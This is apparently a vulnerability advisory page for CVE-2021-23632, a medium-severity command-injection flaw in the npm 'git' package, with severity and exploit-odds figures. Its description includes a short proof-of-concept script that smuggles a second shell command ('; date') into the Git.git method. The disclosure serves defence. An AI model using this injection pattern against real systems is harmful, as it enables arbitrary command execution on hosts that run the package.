Vulnerability · Published Mar 17, 2022 · Assigned by snyk

CVE-2021-23632Remote Code Execution (RCE)

Medium 6.6

In plain English

A medium-severity security flaw in git. There are no confirmed reports of exploitation so far. The chance it is exploited in the next 30 days is estimated at 2.4% (higher than 84% of all known vulnerabilities).

Severity (CVSS 3.1)6.6Medium

Exploit odds (30 days)2.4%top 16.2% of all CVEs

Exploited in the wildNo reportsnot in CISA KEV

Attack toolingNoneno public tooling known

Official description

All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.

Affected packages & fixed versions

Ecosystem	Package	Fixed in	Advisory
npm	git	no fix listed	GHSA-9gqr-xp86-f87h

Affected products (as reported)

Vendor	Product	Versions
n/a	git	0 – before unspecified

References

https://snyk.io/vuln/SNYK-JS-GIT-1568518 x_refsource_MISC